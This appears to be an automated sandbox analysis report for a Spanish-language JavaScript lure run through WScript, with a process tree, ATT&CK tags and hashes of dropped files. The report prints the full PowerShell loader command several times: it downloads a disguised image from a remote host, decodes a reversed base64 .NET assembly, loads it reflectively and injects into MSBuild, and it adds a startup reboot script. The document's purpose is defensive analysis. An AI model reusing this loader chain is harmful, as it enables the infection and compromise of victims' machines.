  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
  2⤵
  PID:1292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2296 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=utility --mojo-platform-channel-handle=2924 /prefetch:8
  2⤵
  PID:1392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
  2⤵
  PID:1068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
  2⤵
  PID:4880
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=4980 /prefetch:8
  2⤵
  PID:4800
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=4980 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:1
  2⤵
  PID:1764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:4984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:1
  2⤵
  PID:4980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5168 /prefetch:1
  2⤵
  PID:4728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=collections --mojo-platform-channel-handle=5504 /prefetch:8
  2⤵
  PID:3428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4856 /prefetch:1
  2⤵
  PID:3876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=6136 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3736
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\NOTIFICACIÓN DENUNCIA LABORAL ADMINISTRATIVO POR INCUMPLIMIENTO.js"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tragi = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$Stikine = New-Object System.Net.WebClient;$oppugns = $Stikine.DownloadData($tragi);$afghanistani = [System.Text.Encoding]::UTF8.GetString($oppugns);$recusals = '<<BASE64_START>>';$frankling = '<<BASE64_END>>';$stylites = $afghanistani.IndexOf($recusals);$polyphene = $afghanistani.IndexOf($frankling);$stylites -ge 0 -and $polyphene -gt $stylites;$stylites += $recusals.Length;$giddy = $polyphene - $stylites;$nitrophenols = $afghanistani.Substring($stylites, $giddy);$sensorimuscular = -join ($nitrophenols.ToCharArray() | ForEach-Object { $_ })[-1..-($nitrophenols.Length)];$acefalous = [System.Convert]::FromBase64String($sensorimuscular);$piqueerer = [System.Reflection.Assembly]::Load($acefalous);$sphenotribe = [dnlib.IO.Home].GetMethod('VAI');$sphenotribe.Invoke($null, @('0/kxtaU/d/ee.etsap//:sptth', 'bufonoidea', 'bufonoidea', 'bufonoidea', 'MSBuild', 'bufonoidea', 'bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','1','bufonoidea','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:3836
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Drops startup file
      Drops desktop.ini file(s)
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5248
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reinicio.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1408
      - C:\Windows\SysWOW64\shutdown.exe
        
        shutdown -r -t 8
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6124 /prefetch:1
  2⤵
  PID:5352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5532 /prefetch:1
  2⤵
  PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6492 /prefetch:1
  2⤵
  PID:5512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
  2⤵
  PID:5692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2752 /prefetch:1
  2⤵
  PID:5840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:1
  2⤵
  PID:3316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=service --mojo-platform-channel-handle=6272 /prefetch:8
  2⤵
  PID:3068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=5812 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1780 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,1072260166115584461,12819267777279404112,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
  2⤵
  PID:5448

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4608

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2220

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3316

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\NOTIFICACIÓN DENUNCIA LABORAL ADMINISTRATIVO POR INCUMPLIMIENTO.js"
1⤵
- Checks computer location settings
PID:1880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tragi = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$Stikine = New-Object System.Net.WebClient;$oppugns = $Stikine.DownloadData($tragi);$afghanistani = [System.Text.Encoding]::UTF8.GetString($oppugns);$recusals = '<<BASE64_START>>';$frankling = '<<BASE64_END>>';$stylites = $afghanistani.IndexOf($recusals);$polyphene = $afghanistani.IndexOf($frankling);$stylites -ge 0 -and $polyphene -gt $stylites;$stylites += $recusals.Length;$giddy = $polyphene - $stylites;$nitrophenols = $afghanistani.Substring($stylites, $giddy);$sensorimuscular = -join ($nitrophenols.ToCharArray() | ForEach-Object { $_ })[-1..-($nitrophenols.Length)];$acefalous = [System.Convert]::FromBase64String($sensorimuscular);$piqueerer = [System.Reflection.Assembly]::Load($acefalous);$sphenotribe = [dnlib.IO.Home].GetMethod('VAI');$sphenotribe.Invoke($null, @('0/kxtaU/d/ee.etsap//:sptth', 'bufonoidea', 'bufonoidea', 'bufonoidea', 'MSBuild', 'bufonoidea', 'bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','1','bufonoidea','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:756
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4964

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\NOTIFICACIÓN DENUNCIA LABORAL ADMINISTRATIVO POR INCUMPLIMIENTO.js"
1⤵
- Checks computer location settings
PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tragi = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$Stikine = New-Object System.Net.WebClient;$oppugns = $Stikine.DownloadData($tragi);$afghanistani = [System.Text.Encoding]::UTF8.GetString($oppugns);$recusals = '<<BASE64_START>>';$frankling = '<<BASE64_END>>';$stylites = $afghanistani.IndexOf($recusals);$polyphene = $afghanistani.IndexOf($frankling);$stylites -ge 0 -and $polyphene -gt $stylites;$stylites += $recusals.Length;$giddy = $polyphene - $stylites;$nitrophenols = $afghanistani.Substring($stylites, $giddy);$sensorimuscular = -join ($nitrophenols.ToCharArray() | ForEach-Object { $_ })[-1..-($nitrophenols.Length)];$acefalous = [System.Convert]::FromBase64String($sensorimuscular);$piqueerer = [System.Reflection.Assembly]::Load($acefalous);$sphenotribe = [dnlib.IO.Home].GetMethod('VAI');$sphenotribe.Invoke($null, @('0/kxtaU/d/ee.etsap//:sptth', 'bufonoidea', 'bufonoidea', 'bufonoidea', 'MSBuild', 'bufonoidea', 'bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','1','bufonoidea','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5528
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3668

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\NOTIFICACIÓN DENUNCIA LABORAL ADMINISTRATIVO POR INCUMPLIMIENTO.js"
1⤵
- Checks computer location settings
PID:4460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tragi = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$Stikine = New-Object System.Net.WebClient;$oppugns = $Stikine.DownloadData($tragi);$afghanistani = [System.Text.Encoding]::UTF8.GetString($oppugns);$recusals = '<<BASE64_START>>';$frankling = '<<BASE64_END>>';$stylites = $afghanistani.IndexOf($recusals);$polyphene = $afghanistani.IndexOf($frankling);$stylites -ge 0 -and $polyphene -gt $stylites;$stylites += $recusals.Length;$giddy = $polyphene - $stylites;$nitrophenols = $afghanistani.Substring($stylites, $giddy);$sensorimuscular = -join ($nitrophenols.ToCharArray() | ForEach-Object { $_ })[-1..-($nitrophenols.Length)];$acefalous = [System.Convert]::FromBase64String($sensorimuscular);$piqueerer = [System.Reflection.Assembly]::Load($acefalous);$sphenotribe = [dnlib.IO.Home].GetMethod('VAI');$sphenotribe.Invoke($null, @('0/kxtaU/d/ee.etsap//:sptth', 'bufonoidea', 'bufonoidea', 'bufonoidea', 'MSBuild', 'bufonoidea', 'bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','bufonoidea','1','bufonoidea','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5996
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:5212
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:5504
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3600

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3887055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

Filesize
425B

MD5
4eaca4566b22b01cd3bc115b9b0b2196

SHA1
e743e0792c19f71740416e7b3c061d9f1336bf94

SHA256
34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

SHA512
bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
99afa4934d1e3c56bbce114b356e8a99

SHA1
3f0e7a1a28d9d9c06b6663df5d83a65c84d52581

SHA256
08e098bb97fd91d815469cdfd5568607a3feca61f18b6b5b9c11b531fde206c8

SHA512
76686f30ed68144cf943b80ac10b52c74eee84f197cee3c24ef7845ef44bdb5586b6e530824543deeed59417205ac0e2559808bcb46450504106ac8f4c95b9da

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
443a627d539ca4eab732bad0cbe7332b

SHA1
86b18b906a1acd2a22f4b2c78ac3564c394a9569

SHA256
1e1ad9dce141f5f17ea07c7e9c2a65e707c9943f172b9134b0daf9eef25f0dc9

SHA512
923b86d75a565c91250110162ce13dd3ef3f6bdde1a83f7af235ed302d4a96b8c9ed722e2152781e699dfcb26bb98afc73f5adb298f8fd673f14c9f28b5f764d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b

Filesize
217KB

MD5
d04206a14ba1f8b53c1df32815003894

SHA1
8cd2b8d57dc9a4ab7b828fc9fd2774c34be08805

SHA256
00b367d9e3c2826aa3535b5ae47b829ac73c9272c0ccd584bf5399a954e8a10a

SHA512
855d2b8f221b345dc9e4944c772a9d2935b940c2394776ce0fe2b59cc123d31c8647a0230c034489a60b9ed1507e71a3258cc957dd85f2942c8e8814461c35d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
b78dc011a6514ccf5517ff43adaff09b

SHA1
f17ff5d4b979668a053d45faf515052b2eaaab6b

SHA256
114a1ff594a30f1d6cef3d93a4016cf5ef69c3252d0263a7420761053d17ea93

SHA512
3e541e909a62a195be4b72f7fea596cb150808cb95066379caa3bde7f55c8b330a8585cd79ca7a5d60f4f585973162dfe0504a8bfa3fc23a9de6c0e74185b49f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
48a89147846ad084c740e5cc9b5462a7

SHA1
50c154938530054a6daab1a71b18142538b43d21

SHA256
a9244db39e0df49d462a4e12a9186bc5576e80251976f9792ef60c6f62c8212e

SHA512
e7462b233e89acc564a0173b05cdffd9c1bc1d8cc551bde3add6b73438fb3aeb4ead8d663b2ab65837f49583e9ae78d6ec96e3afb6706f7382abde4d8688fbc9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
c7208ee0fcf5556f9f6b7714870d2c90

SHA1
e77230e9b6a5f0a4d46a381fc941cab1f836eb6c

SHA256
6ae34fc068bb7a7ad6c7c2f8d2cc81a1a4739aba85f7766999f49b5a29c39349

SHA512
1dc05dcecc57395f2f1f15717cc358ec6992f4d84e5c258c2f33e6e0848e88dc882a9d0c335d35b15d5139b5925fe77918b1ca8744daea9249e072f683c446bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
c385f0e767bd48dcec93047bef27dcac

SHA1
c3e1485881cdba11b4023dd6d05e695df97cb993

SHA256
119bc02ebe3db09f74999cbc7dc2b2c627be526aa489808ff946431f53f67704

SHA512
5dfd9b1bf798e169e5959c34b3064363ba158439364084580340bbbcf0bbd86e548f0565d5bf1e37f7d0335f62208dcbfe4d6f287e547356f768d0aeeed96dc0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6eb89e9cc219c0bc4d0e22b5b766bea0

SHA1
e76f685bc9366c7e56555b9f218548f9be8bab8b

SHA256
4111f588b9b23f4ec653364da33073c2b148286caa6eb5655e14f7050f9da945

SHA512
3bde6c4a20f29b61c0f57c6f298efd32f42f9c2610b0657a832648c60d23c5e12e631bd98d92ea7d65820d0b44960358f419fb3d3c9efd16bb0ca48365ffb1f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
b38fe782232a80dd9e64d5a264798b0e

SHA1
883fee1ca2df4c0ce24fc31071a3af57d3637cd6

SHA256
d250380a21dd2d607680a4b8b826eedf05d895495ec465d1b534564cea3086e4

SHA512
183c8f1df36b0ed8441435fb1462eb1bc7efbd0825cfdb5822a59010b771865d8e0bbc7ee66d4cf7001eca025454161a1637f955b1a9895af3f1fabc9da491b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
47864040daeb976dcfd4bfe5018b8bc5

SHA1
